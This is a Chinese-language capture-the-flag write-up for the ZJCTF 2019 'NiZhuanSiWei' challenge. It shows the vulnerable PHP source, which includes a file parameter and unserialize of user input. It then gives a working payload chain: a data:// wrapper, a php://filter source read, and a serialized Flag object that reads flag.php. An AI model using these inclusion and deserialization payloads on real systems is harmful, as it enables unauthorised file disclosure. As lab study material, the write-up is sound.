[ZJCTF 2019]NiZhuanSiWei

Posted 2021-06-18 H3rmesk1t

[ZJCTF 2019]NiZhuanSiWei

• 考点
• 思路
• Payload

考点

php反序列化

思路

分析一下题目给的源码
看源码发现共有三个参数，依次判断
text的内容为welcome to the zjctf，我们可以用data协议
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file利用正则过滤了flag字符，根据注释，我们需要先读取useless.php中的内容看看
file=php://filter/read=convert.base64-encode/resource=useless.php
useless.php告诉我们password参数需要传一个序列化后的内容进去，这里我们可以将s改成S来绕过__tostring()函数
O:4:“Flag”:1:{S:4:“file”;s:8:“flag.php”;}

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

// useless.php
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210513221957532.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)

        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

Payload

<?php
class Flag{
	public $file = 'flag.php';

}
echo serialize(new Flag);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload：?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{S:4:"file";s:8:"flag.php";}

查看网页源码就能发现flag